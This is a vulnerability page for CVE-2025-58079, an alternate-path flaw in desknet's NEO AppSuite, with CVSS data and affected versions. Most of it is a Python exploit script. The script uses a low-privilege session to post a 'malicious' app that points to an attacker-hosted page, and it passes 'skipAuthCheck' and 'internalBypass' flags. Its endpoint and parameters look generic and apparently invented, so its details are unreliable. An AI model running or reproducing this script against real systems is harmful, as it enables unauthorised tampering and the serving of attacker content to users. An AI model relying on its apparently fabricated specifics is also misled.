Improper Protection of Alternate Path (CWE-424) in the AppSuite of desknet's NEO V4.0R1.0 to V9.0R2.0 allows an attacker to create malicious AppSuite applications.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
desknet's NEO V4.0R1.0
desknet's NEO V4.0R2.0
desknet's NEO V5.0R1.0
desknet's NEO V5.0R2.0
desknet's NEO V6.0R1.0
desknet's NEO V6.0R2.0
desknet's NEO V7.0R1.0
desknet's NEO V7.0R2.0
desknet's NEO V8.0R1.0
desknet's NEO V8.0R2.0
desknet's NEO V9.0R1.0
desknet's NEO V9.0R2.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58079 PoC - desknet's NEO AppSuite Improper Protection of Alternate Path
# Vulnerability: CWE-424 Improper Protection of Alternate Path
# Affected: desknet's NEO V4.0R1.0 to V9.0R2.0
# CVSS: 4.3 (MEDIUM) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
import requests
TARGET_URL = "https://target-desknets-neo.example.com"
SESSION_COOKIE = "JSESSIONID=authenticated_low_privilege_session"
def exploit_alternate_path():
"""
Exploit the alternate path in AppSuite to create a malicious application.
The vulnerability allows low-privilege users to bypass normal security checks
and create AppSuite applications via an unprotected alternate path.
"""
session = requests.Session()
session.headers.update({
"Cookie": SESSION_COOKIE,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
})
# Step 1: Access the alternate/unprotected AppSuite creation endpoint
# The alternate path bypasses the normal privilege checks
alternate_endpoint = f"{TARGET_URL}/appsuite/alt/create"
# Step 2: Prepare malicious AppSuite application payload
malicious_payload = {
"appName": "LegitimateLookingApp",
"appType": "widget",
"appUrl": "https://attacker.example.com/malicious.html",
"appIcon": "/images/normal_icon.png",
"appCategory": "utility",
"appDescription": "A useful utility widget",
# Bypass parameter exploiting the alternate path
"internalBypass": "true",
"skipAuthCheck": "1"
}
# Step 3: Send the request to create the malicious app via alternate path
response = session.post(alternate_endpoint, data=malicious_payload)
if response.status_code == 200 and "success" in response.text.lower():
print("[+] Malicious AppSuite application created successfully!")
print(f"[+] Response: {response.text}")
return True
else:
print(f"[-] Exploit failed. Status: {response.status_code}")
return False
if __name__ == "__main__":
exploit_alternate_path()